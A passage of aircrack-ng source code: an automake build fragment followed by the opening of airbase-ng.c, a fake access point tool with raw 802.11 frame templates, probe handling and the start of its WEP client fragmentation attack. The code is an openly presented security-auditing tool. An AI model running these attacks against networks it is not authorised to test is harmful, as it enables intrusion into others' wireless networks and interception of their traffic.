tkiptun_ng_SOURCES = $(SRC_TT)
tkiptun_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
tkiptun_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
wpaclean_SOURCES = $(SRC_WC)
wpaclean_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS) $(LIBAIRCRACK_UTIL_CFLAGS)
wpaclean_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
airventriloquist_ng_SOURCES = $(SRC_AV)
airventriloquist_ng_CFLAGS = $(COMMON_CFLAGS) $(LIBNL_CFLAGS)
airventriloquist_ng_CPPFLAGS = $(AM_CPPFLAGS) -I$(abs_srcdir)/src/airventriloquist-ng
airventriloquist_ng_LDADD = $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(LIBACCRYPTO_LIBS) $(AIRPCAP_LIBS) $(LIBAIRCRACK_LIBS) $(CRYPTO_LIBS)
EXTRA_DIST += %D%/wpaclean/wpaclean.c \
%D%/buddy-ng/buddy-ng.c \
%D%/airdecloak-ng/airdecloak-ng.h \
%D%/airserv-ng/airserv-ng.c \
%D%/besside-ng/besside-ng.c \
%D%/aircrack-ng/wkp-frame.h \
%D%/airolib-ng/airolib-ng.c \
%D%/makeivs-ng/makeivs-ng.c \
%D%/easside-ng/easside-ng.c \
%D%/airdecap-ng/airdecap-ng.c \
%D%/airodump-ng/airodump-ng.h \
%D%/airbase-ng/airbase-ng.c \
%D%/besside-ng-crawler/besside-ng-crawler.c \
%D%/tkiptun-ng/tkiptun-ng.c \
%D%/kstats/kstats.c \
%D%/easside-ng/easside.h \
%D%/aireplay-ng/aireplay-ng.c \
%D%/ivstools/ivstools.c \
%D%/aircrack-ng/aircrack-ng.c \
%D%/airodump-ng/airodump-ng.c \
%D%/airdecloak-ng/airdecloak-ng.c \
%D%/packetforge-ng/packetforge-ng.c \
%D%/airventriloquist-ng/airventriloquist-ng.c \
%D%/airventriloquist-ng/airventriloquist-ng.h \
%D%/wesside-ng/wesside-ng.c \
%D%/airtun-ng/airtun-ng.c \
%D%/aircrack-ng/linecount.h \
%D%/aircrack-ng/linecount.cpp \
%D%/aircrack-ng/session.c \
%D%/aircrack-ng/session.h \
%D%/airodump-ng/dump_write.h \
%D%/airodump-ng/dump_write.c |
C | aircrack-ng/src/airbase-ng/airbase-ng.c | /*
* 802.11 monitor AP
* based on airtun-ng
*
* Copyright (C) 2008-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
* Copyright (C) 2008, 2009 Martin Beck <martin.beck2@gmx.de>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*
*
* In addition, as a special exception, the copyright holders give
* permission to link the code of portions of this program with the
* OpenSSL library under certain conditions as described in each
* individual source file, and distribute linked combinations
* including the two.
* You must obey the GNU General Public License in all respects
* for all of the code used other than OpenSSL. * If you modify
* file(s) with this exception, you may extend this exception to your
* version of the file(s), but you are not obligated to do so. * If you
* do not wish to do so, delete this exception statement from your
* version. * If you delete this exception statement from all source
* files in the program, then also delete it here.
*/
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#ifdef linux
#include <linux/rtc.h>
#endif
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <pthread.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <sys/file.h>
#include <fcntl.h>
#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/third-party/eapol.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/support/fragments.h"
#include "aircrack-ng/osdep/osdep.h"
#define EXT_IN 0x01
#define EXT_OUT 0x02
#define MAX_CF_XMIT 100
#define TI_MTU 1500
#define WIF_MTU 1800
#define MAX_FRAME_EXTENSION 100
#define RTC_RESOLUTION 512
#define ALLOW_MACS 0
#define BLOCK_MACS 1
#define DEAUTH_REQ \
"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
#define AUTH_REQ \
"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
#define ASSOC_REQ \
"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
#define NULL_DATA \
"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
#define RATES "\x01\x04\x02\x04\x0B\x16"
#define EXTENDED_RATES "\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
#define PROBE_REQ \
"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
#define PROBE_RSP \
"\x50\x00\x3a\x01\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC" \
"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
#define WPA1_TAG \
"\xdd\x16\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x01\x00\x00\x50" \
"\xf2\x01\x01\x00\x00\x50\xf2\x02"
#define WPA2_TAG \
"\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00" \
"\x00\x0f\xac\x02\x01\x00"
#define ALL_WPA2_TAGS \
"\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f" \
"\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00" \
"\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00"
#define ALL_WPA1_TAGS \
"\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50" \
"\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50" \
"\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02"
static const char usage[]
= "\n"
" %s - (C) 2008-2022 Thomas d'Otreppe\n"
" Original work: Martin Beck\n"
" https://www.aircrack-ng.org\n"
"\n"
" usage: airbase-ng <options> <replay interface>\n"
"\n"
" Options:\n"
"\n"
" -a bssid : set Access Point MAC address\n"
" -i iface : capture packets from this interface\n"
// " -y file : read PRGA from this file\n"
" -w WEP key : use this WEP key to en-/decrypt packets\n"
// " -t tods : send frames to AP (1) or to client (0)\n"
// " -r file : read frames out of pcap file\n"
" -h MAC : source mac for MITM mode\n"
" -f disallow : disallow specified client MACs (default: "
"allow)\n"
" -W 0|1 : [don't] set WEP flag in beacons 0|1 (default: "
"auto)\n"
" -q : quiet (do not print statistics)\n"
" -v : verbose (print more messages)\n"
//" -M : M-I-T-M between [specified] clients and
// bssids\n"
" -A : Ad-Hoc Mode (allows other clients to peer)\n"
" -Y in|out|both : external packet processing\n"
" -c channel : sets the channel the AP is running on\n"
" -X : hidden ESSID\n"
" -s : force shared key authentication (default: "
"auto)\n"
" -S : set shared key challenge length (default: "
"128)\n"
" -L : Caffe-Latte WEP attack (use if driver can't "
"send "
"frags)\n"
" -N : cfrag WEP attack (recommended)\n"
" -x nbpps : number of packets per second (default: 100)\n"
" -y : disables responses to broadcast probes\n"
" -0 : set all WPA,WEP,open tags. can't be used with "
"-z "
"& -Z\n"
" -z type : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP "
"5=WEP104\n"
" -Z type : same as -z, but for WPA2\n"
" -V type : fake EAPOL 1=MD5 2=SHA1 3=auto\n"
" -F prefix : write all sent and received frames into pcap "
"file\n"
" -P : respond to all probes, even when specifying "
"ESSIDs\n"
" -I interval : sets the beacon interval value in ms\n"
" -C seconds : enables beaconing of probed ESSID values "
"(requires -P)\n"
" -n hex : User specified ANonce when doing the 4-way "
"handshake\n"
"\n"
" Filter options:\n"
" --bssid MAC : BSSID to filter/use\n"
" --bssids file : read a list of BSSIDs out of that file\n"
" --client MAC : MAC of client to filter\n"
" --clients file : read a list of MACs out of that file\n"
" --essid ESSID : specify a single ESSID (default: default)\n"
" --essids file : read a list of ESSIDs out of that file\n"
"\n"
" --help : Displays this usage screen\n"
"\n";
struct communication_options opt;
static struct local_options
{
struct ST_info *st_1st, *st_end;
char * dump_prefix;
char * keyout;
int tods;
int f_essid;
int promiscuous;
int beacon_cache;
int channel;
int setWEP;
int quiet;
int mitm;
int external;
int hidden;
int interval;
int forceska;
int skalen;
int filter;
int caffelatte;
int adhoc;
int nb_arp;
int verbose;
int wpa1type;
int wpa2type;
int nobroadprobe;
int sendeapol;
int allwpa;
int cf_count;
int cf_attack;
int record_data;
int ti_mtu; // MTU of tun/tap interface
int wif_mtu; // MTU of wireless interface
// Fixed nonce
int use_fixed_nonce;
unsigned char fixed_nonce[32];
} lopt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];
struct ARP_req
{
unsigned char * buf;
int len;
};
struct AP_conf
{
unsigned char bssid[6];
char * essid;
int essid_len;
unsigned short interval;
unsigned char capa[2];
};
typedef struct ESSID_list * pESSID_t;
struct ESSID_list
{
char * essid;
unsigned char len;
pESSID_t next;
time_t expire;
};
#include "aircrack-ng/support/station.h"
typedef struct CF_packet * pCF_t;
struct CF_packet
{
unsigned char frags[3][128]; /* first fragments to fill a gap */
unsigned char final[4096]; /* final frame derived from orig */
size_t fraglen[3]; /* fragmentation frame lengths */
size_t finallen; /* length of frame in final[] */
int xmitcount; /* how often was this frame sent */
unsigned char fragnum; /* number of fragments to send */
pCF_t next; /* next set of fragments to send */
};
static pthread_mutex_t mx_cf; /* lock write access to rCF */
static pthread_mutex_t mx_cap; /* lock write access to rCF */
unsigned long nb_pkt_sent;
static int invalid_channel_displayed;
static struct ARP_req * arp;
static pthread_t beaconpid;
static pthread_t caffelattepid;
static pthread_t cfragpid;
static pESSID_t rESSID;
static pthread_mutex_t rESSIDmutex;
static pMAC_t rBSSID;
static pMAC_t rClient;
pFrag_t rFragment;
static pCF_t rCF;
static int addESSID(char * essid, int len, int expiration)
{
pESSID_t tmp;
pESSID_t cur;
time_t now;
if (essid == NULL) return -1;
if (len <= 0 || len > 255) return -1;
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
cur = rESSID;
if (rESSID == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return -1;
}
while (cur->next != NULL)
{
// if it already exists, just update the expiration time
if (cur->len == len && !memcmp(cur->essid, essid, len))
{
if (cur->expire && expiration)
{
time(&now);
cur->expire = now + expiration;
}
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return 0;
}
cur = cur->next;
}
// alloc mem
tmp = (pESSID_t) malloc(sizeof(struct ESSID_list));
ALLEGE(tmp != NULL);
// set essid
tmp->essid = (char *) malloc(len + 1);
ALLEGE(tmp->essid != NULL);
memcpy(tmp->essid, essid, len);
tmp->essid[len] = 0x00;
tmp->len = len;
// set expiration date
if (expiration)
{
time(&now);
tmp->expire = now + expiration;
}
else
{
tmp->expire = 0;
}
tmp->next = NULL;
cur->next = tmp;
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return 0;
}
/**
* @brief Save 802.11 frame to capture file
* @param[in] packet 802.11 frame buffer
* @param[in] length Length of the buffer
* @return 0 on success, 1 on failure/error
*/
static int capture_packet(unsigned char * packet, int length)
{
REQUIRE(packet != NULL);
REQUIRE(length > 0);
struct pcap_pkthdr pkh;
struct timeval tv;
int n;
#if defined(__sun__)
struct flock fl;
fl.l_start = 0;
fl.l_len = 0;
fl.l_whence = SEEK_SET;
#endif
if (opt.f_cap != NULL && length >= 10)
{
pkh.caplen = pkh.len = length;
gettimeofday(&tv, NULL);
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
n = sizeof(pkh);
#if defined(__sun__)
fl.l_type = F_WRLCK;
fcntl(fileno(opt.f_cap), F_SETLKW, &fl);
#else
flock(fileno(opt.f_cap), LOCK_EX);
#endif
if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
{
perror("fwrite(packet header) failed");
#if defined(__sun__)
fl.l_type = F_UNLCK;
fcntl(fileno(opt.f_cap), F_GETLK, &fl);
#else
flock(fileno(opt.f_cap), LOCK_UN);
#endif
return (1);
}
fflush(stdout);
n = pkh.caplen;
if (fwrite(packet, 1, n, opt.f_cap) != (size_t) n)
{
perror("fwrite(packet data) failed");
#if defined(__sun__)
fl.l_type = F_UNLCK;
fcntl(fileno(opt.f_cap), F_GETLK, &fl);
#else
flock(fileno(opt.f_cap), LOCK_UN);
#endif
return (1);
}
fflush(stdout);
fflush(opt.f_cap);
#if defined(__sun__)
fl.l_type = F_UNLCK;
fcntl(fileno(opt.f_cap), F_GETLK, &fl);
#else
flock(fileno(opt.f_cap), LOCK_UN);
#endif
}
return 0;
}
static void flushESSID(void)
{
pESSID_t old;
pESSID_t cur;
time_t now;
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
cur = rESSID;
if (rESSID == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return;
}
while (cur->next != NULL)
{
old = cur->next;
if (old->expire)
{
time(&now);
if (now > old->expire)
{
// got it
cur->next = old->next;
free(old->essid);
old->essid = NULL;
old->next = NULL;
old->len = 0;
free(old);
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return;
}
}
cur = cur->next;
}
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
}
static int gotESSID(char * essid, int len)
{
pESSID_t old, cur;
if (essid == NULL) return (-1);
if (len <= 0 || len > 255) return (-1);
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
cur = rESSID;
if (rESSID == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (-1);
}
while (cur->next != NULL)
{
old = cur->next;
if (old->len == len)
{
if (memcmp(old->essid, essid, len) == 0)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (1);
}
}
cur = cur->next;
}
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (0);
}
static int gotMAC(pMAC_t pMAC, unsigned char * mac)
{
pMAC_t cur = pMAC;
if (mac == NULL) return (-1);
if (pMAC == NULL) return (-1);
while (cur->next != NULL)
{
cur = cur->next;
if (memcmp(cur->mac, mac, 6) == 0)
{
// got it
return (1);
}
}
return (0);
}
static int getESSID(char * essid)
{
int len;
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
if (rESSID == NULL || rESSID->next == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (0);
}
memcpy(essid, rESSID->next->essid, rESSID->next->len + 1);
len = rESSID->next->len;
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (len);
}
static int getNextESSID(char * essid)
{
int len;
pESSID_t cur;
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
if (rESSID == NULL || rESSID->next == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (0);
}
len = strlen(essid);
for (cur = rESSID->next; cur != NULL; cur = cur->next)
{
if (*essid == 0)
{
break;
}
// Check if current SSID.
if (cur->len == len && cur->essid != NULL
&& strcmp(essid, cur->essid) == 0)
{
// SSID found, get next one
cur = cur->next;
if (cur == NULL)
{
cur = rESSID->next;
}
break;
}
}
len = 0;
if (cur != NULL)
{
memcpy(essid, cur->essid, cur->len + 1);
len = cur->len;
}
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (len);
}
static int getESSIDcount(void)
{
pESSID_t cur;
int count = 0;
ALLEGE(pthread_mutex_lock(&rESSIDmutex) == 0);
cur = rESSID;
if (rESSID == NULL)
{
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (-1);
}
while (cur->next != NULL)
{
cur = cur->next;
count++;
}
ALLEGE(pthread_mutex_unlock(&rESSIDmutex) == 0);
return (count);
}
static int addESSIDfile(char * filename)
{
REQUIRE(filename != NULL);
FILE * list;
char essid[256];
int x;
list = fopen(filename, "r");
if (list == NULL)
{
perror("Unable to open ESSID list");
return (-1);
}
while (fgets(essid, 256, list) != NULL)
{
// trim trailing whitespace
rtrim(essid);
x = (int) strlen(essid);
if (x > 0) addESSID(essid, x, 0);
}
fclose(list);
return (0);
}
static int addMACfile(pMAC_t pMAC, char * filename)
{
REQUIRE(filename != NULL);
FILE * list;
unsigned char mac[6];
char buffer[256];
list = fopen(filename, "r");
if (list == NULL)
{
perror("Unable to open MAC list");
return (-1);
}
while (fgets(buffer, 256, list) != NULL)
{
if (getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac);
}
fclose(list);
return (0);
}
/**
* @brief Send 802.11 frame, and optionally save it to the capture file
* @param[in] buf Buffer containing the frame
* @param[in] count Size of the 'buffer' variable
* @return return value from send_packet()
*/
static int my_send_packet(void * buf, size_t count)
{
int rc = send_packet(_wi_out, buf, count, kRewriteSequenceNumber);
ALLEGE(pthread_mutex_lock(&mx_cap) == 0);
if (lopt.record_data) capture_packet(buf, (int) count);
ALLEGE(pthread_mutex_unlock(&mx_cap) == 0);
return (rc);
}
#define IEEE80211_LLC_SNAP \
"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \
"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
static int intercept(unsigned char * packet, int length)
{
REQUIRE(packet != NULL);
REQUIRE(length > 0);
unsigned char buf[4096];
unsigned char K[128];
int z = 0;
memset(buf, 0, 4096);
z = ((packet[1] & 3) != 3) ? 24 : 30;
if (opt.crypt == CRYPT_WEP)
{
memcpy(K, packet + z, 3);
memcpy(K + 3, opt.wepkey, opt.weplen);
if (decrypt_wep(
packet + z + 4, length - z - 4, K, (int) (3 + opt.weplen))
== 0)
{
// ICV check failed!
return (1);
}
/* WEP data packet was successfully decrypted, *
* remove the WEP IV & ICV and write the data */
length -= 8;
memcpy(packet + z, packet + z + 4, (size_t) length - z);
}
/* clear wep bit */
packet[1] &= 0xBF;
// insert ethernet header
memcpy(buf + 14, packet, (size_t) length);
length += 14;
ti_write(dev.dv_ti2, buf, length);
return (0);
}
static int packet_xmit(unsigned char * packet, int length)
{
unsigned char buf[4096];
int fragments = 1, i;
size_t newlen = 0, usedlen = 0, length2;
if (packet == NULL) return (1);
if (length < 38) return (1);
if (length - 14 > 16 * lopt.wif_mtu - MAX_FRAME_EXTENSION) return (1);
if (length + MAX_FRAME_EXTENSION > lopt.wif_mtu)
fragments = ((length - 14 + MAX_FRAME_EXTENSION) / lopt.wif_mtu) + 1;
if (fragments > 16) return (1);
if (fragments > 1)
newlen = (length - 14u + MAX_FRAME_EXTENSION) / fragments;
else
newlen = length - 14u;
for (i = 0; i < fragments; i++)
{
if (i == fragments - 1)
newlen = length - 14
- usedlen; // use all remaining bytes for the last fragment
if (i == 0)
{
memcpy(h80211, IEEE80211_LLC_SNAP, 32);
memcpy(h80211 + 32, packet + 14 + usedlen, newlen);
memcpy(h80211 + 30, packet + 12, 2);
}
else
{
memcpy(h80211, IEEE80211_LLC_SNAP, 24);
memcpy(h80211 + 24, packet + 14 + usedlen, newlen);
}
h80211[1] |= 0x02;
memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
memcpy(h80211 + 4, packet, 6); // DST_MAC
h80211[22] |= i & 0x0F; // set fragment
h80211[1] |= 0x04; // more frags
if (i == (fragments - 1))
{
h80211[1] &= 0xFB; // no more frags
}
length2 = newlen + 32;
if ((lopt.external & EXT_OUT))
{
memset(buf, 0, 4096);
memcpy(buf + 14, h80211, length2);
// mark it as outgoing packet
buf[12] = 0xFF;
buf[13] = 0xFF;
ti_write(dev.dv_ti2, buf, (int) length2 + 14);
}
else
{
if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
{
if (create_wep_packet(h80211, &length2, 24) != 0) return (1);
}
my_send_packet(h80211, length2);
}
usedlen += newlen;
if ((i + 1) < fragments) usleep(3000);
}
return (0);
}
static int packet_recv(uint8_t * packet,
size_t length,
struct AP_conf * apc,
int external);
static int packet_xmit_external(unsigned char * packet,
size_t length,
struct AP_conf * apc)
{
uint8_t buf[4096];
size_t z = 0;
if (packet == NULL) return (1);
if (length < 40 || length > 3000) return (1);
memset(buf, 0, 4096);
if (memcmp(packet, buf, 11) != 0) //-V512
{
// Wrong header
return (1);
}
/* cut ethernet header */
memcpy(buf, packet, length);
length -= 14;
memcpy(packet, buf + 14, length);
z = ((packet[1] & 3) != 3) ? 24 : 30;
if (opt.crypt == CRYPT_WEP || opt.prgalen > 0)
{
if (create_wep_packet(packet, &length, z) != 0) return (1);
}
if (memcmp(buf + 12, (unsigned char *) "\x00\x00", 2)
== 0) /* incoming packet */
{
packet_recv(packet, length, apc, 0);
}
else if (memcmp(buf + 12, (unsigned char *) "\xFF\xFF", 2)
== 0) /* outgoing packet */
{
my_send_packet(packet, length);
}
return (0);
}
/**
* @brief Remove specific Information Element(s) (aka tag) from a frame.
* Handle when multiple tags with the same number exist.
* @param[in,out] tagged_params Buffer containing IEs, starting at an IE
* @param[in] exclude_tag_id tag number to remove. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
* @param[in,out] tp_length Length of the 'flags' buffer. It gets updated if the tag is removed
* @return 0 on success, 1 on error/failure
*/
static int remove_tag(uint8_t * tagged_params,
const uint8_t exclude_tag_id,
size_t * tp_length)
{
REQUIRE(tp_length != NULL);
size_t dst_pos = 0, src_pos = 0;
uint8_t cur_tag_id;
uint8_t cur_tag_length;
size_t cur_tag_total_len;
if (tagged_params == NULL) return (1);
if (*tp_length == 0) return (1);
while (src_pos < *tp_length)
{
// Handle the case when frame is malformed ...
if (src_pos + 2 > *tp_length) break;
// Grab tag id and its length
cur_tag_id = tagged_params[src_pos];
cur_tag_length = tagged_params[src_pos + 1];
cur_tag_total_len = cur_tag_length + 2;
// Now validate the frame is still valid and we have enough buffer
if (src_pos + cur_tag_total_len > *tp_length) break;
// If we skipped 1+ tag, then we need to move this tag
if (src_pos != dst_pos)
{
// memmove tag by tag, there might be multiple instances of the tag to exclude
memmove(tagged_params + dst_pos,
tagged_params + src_pos,
cur_tag_total_len);
}
// Compute new positions
src_pos += cur_tag_total_len;
if (cur_tag_id != exclude_tag_id)
{
dst_pos += cur_tag_total_len;
}
}
// In case something goes wrong in the parsing of a tag, move what's
// available so we don't leave frame in unknown state
const size_t avail_length = (*tp_length) - src_pos;
if (avail_length && tagged_params[src_pos] != exclude_tag_id
&& src_pos != dst_pos)
{
memmove(tagged_params + dst_pos, tagged_params + src_pos, avail_length);
dst_pos += avail_length;
}
// Update length
*tp_length = dst_pos;
return (avail_length == 0);
}
/**
* @brief Parse a specific Information Element (IE), aka Tag, to return
* a pointer to the location of its value and its length
* @param[in] flags Buffer containing IEs, starting at an IE
* @param[in] type IE/tag number to search for. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
* @param[in] length length of the 'flags' buffer
* @param[out] taglen returning the length of the tag, if found
*
* @return pointer to the start of the IE value, or NULL when there is
* an error or the IE hasn't been found
*
* @note
* IE (aka tag) is of Type-Length-Value (TLV):
* - 1 byte for the tag number (unsigned char)
* - 1 byte for the length (unsigned char)
* - X bytes (defined by the 'length' field right before) for the
* value whose interpretation depends on the type, and sometimes
* more (such as WPA/RSN IE).
*
* These are present in management frames, and vary. However, they
* are typically ordered by tag
*/
static unsigned char * parse_tags(unsigned char * flags,
const unsigned char type,
const int length,
size_t * taglen)
{
int cur_type = 0, cur_len = 0, len = 0;
unsigned char * pos;
if (length < 2) return (NULL);
if (flags == NULL) return (NULL);
pos = flags;
do
{
cur_type = pos[0];
cur_len = pos[1];
if (len + 2 + cur_len > length) return (NULL);
if (cur_type == type)
{
if (cur_len > 0)
{
*taglen = (size_t) cur_len;
return pos + 2;
}
else
return (NULL);
}
pos += cur_len + 2;
len += cur_len + 2;
} while (len + 2 <= length);
return (NULL);
}
/**
* @brief Parses the WPA (Vendor specific) or RSN tag and fill out the station information structure
* @param[in,out] st_cur pointer to the current station
* @param[in] tag start of the WPA/RSN tag/IE. See enum containing IEEE80211_ELEMID_ items in ieee80211.h
* @param[in] length length of the tag buffer
* @return 0 on success, 1 on error/failure
*/
static int
wpa_client(struct ST_info * st_cur, const unsigned char * tag, const int length)
{
if (tag == NULL) return (1);
if (st_cur == NULL) return (1);
if (length <= 0) return (1);
if (tag[0] != IEEE80211_ELEMID_VENDOR
&& tag[0] != IEEE80211_ELEMID_RSN) // wpa1 or wpa2
return (1);
// TODO: improve parsing, in the event if there are multiple cipher suites
if (tag[0] == IEEE80211_ELEMID_VENDOR)
{
if (length < 24) return (1);
// Get first unicast cipher suite
switch (tag[17])
{
case WPA_CSE_TKIP:
st_cur->wpahash = 1; // md5|tkip
break;
case WPA_CSE_CCMP:
st_cur->wpahash = 2; // sha1|ccmp
break;
default:
return (1);
}
st_cur->wpatype = 1; // wpa1
}
if (tag[0] == IEEE80211_ELEMID_RSN && st_cur->wpatype == 0)
{
if (length < 22) return (1);
// Get first unicast cipher suite
switch (tag[13])
{
case WPA_CSE_TKIP:
st_cur->wpahash = 1; // md5|tkip
break;
case WPA_CSE_CCMP:
st_cur->wpahash = 2; // sha1|ccmp
break;
default:
return (1);
}
st_cur->wpatype = 2; // wpa2
}
return (0);
}
// add packet for client fragmentation attack
static int addCF(unsigned char * packet, size_t length)
{
pCF_t curCF = rCF;
unsigned char bssid[6];
unsigned char smac[6];
unsigned char dmac[6];
unsigned char keystream[128];
unsigned char frag1[128], frag2[128], frag3[128];
unsigned char clear[4096], final[4096], flip[4096];
int isarp;
size_t z, i;
if (curCF == NULL) return (1);
if (packet == NULL) return (1);
z = ((packet[1] & 3) != 3) ? 24 : 30;
if (length < z + 8) return (1);
if (length > 3800)
{
return (1);
}
if (lopt.cf_count >= 100) return (1);
memset(clear, 0, 4096);
memset(final, 0, 4096);
memset(flip, 0, 4096);
memset(frag1, 0, 128);
memset(frag2, 0, 128);
memset(frag3, 0, 128);
memset(keystream, 0, 128);
switch (packet[1] & 3)
{
case 0:
memcpy(bssid, packet + 16, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 10, 6);
break;
case 1:
memcpy(bssid, packet + 4, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 10, 6);
break;
case 2:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 4, 6);
memcpy(smac, packet + 16, 6);
break;
default:
memcpy(bssid, packet + 10, 6);
memcpy(dmac, packet + 16, 6);
memcpy(smac, packet + 24, 6);
break;
}
if (is_ipv6(packet))
{
if (opt.verbose)
{
PCT;
printf("Ignored IPv6 packet.\n");
}
return (1);
}
if (is_dhcp_discover(packet, length - z - 4 - 4))
{
if (opt.verbose)
{
PCT;
printf("Ignored DHCP Discover packet.\n");
}
return (1);
}
/* check if it's a potential ARP request */
// its length 68 or 86 and going to broadcast or a unicast mac (even first
// byte)
if ((length == 68 || length == 86)
&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
{
/* process ARP */
isarp = 1;
// build the new packet
set_clear_arp(clear, smac, dmac);
set_final_arp(final, opt.r_smac);
for (i = 0; i < 14; i++) keystream[i] = (packet + z + 4)[i] ^ clear[i];
// correct 80211 header
packet[0] = 0x08; // data
if ((packet[1] & 3) == 0x00) // ad-hoc
{
packet[1] = 0x40; // wep
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, opt.r_smac, 6);
memcpy(packet + 16, bssid, 6);
}
else // tods
{
packet[1] = 0x42; // wep+FromDS
memcpy(packet + 4, smac, 6);
memcpy(packet + 10, bssid, 6);
memcpy(packet + 16, opt.r_smac, 6);
}
packet[22] = 0xD0; // frag = 0;
packet[23] = 0x50;
// need to shift by 10 bytes; (add 1 frag in front)
memcpy(frag1, packet, z + 4); // copy 80211 header and IV
frag1[1] |= 0x04; // more frags
memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
frag1[z + 4 + 8] = 0x00;
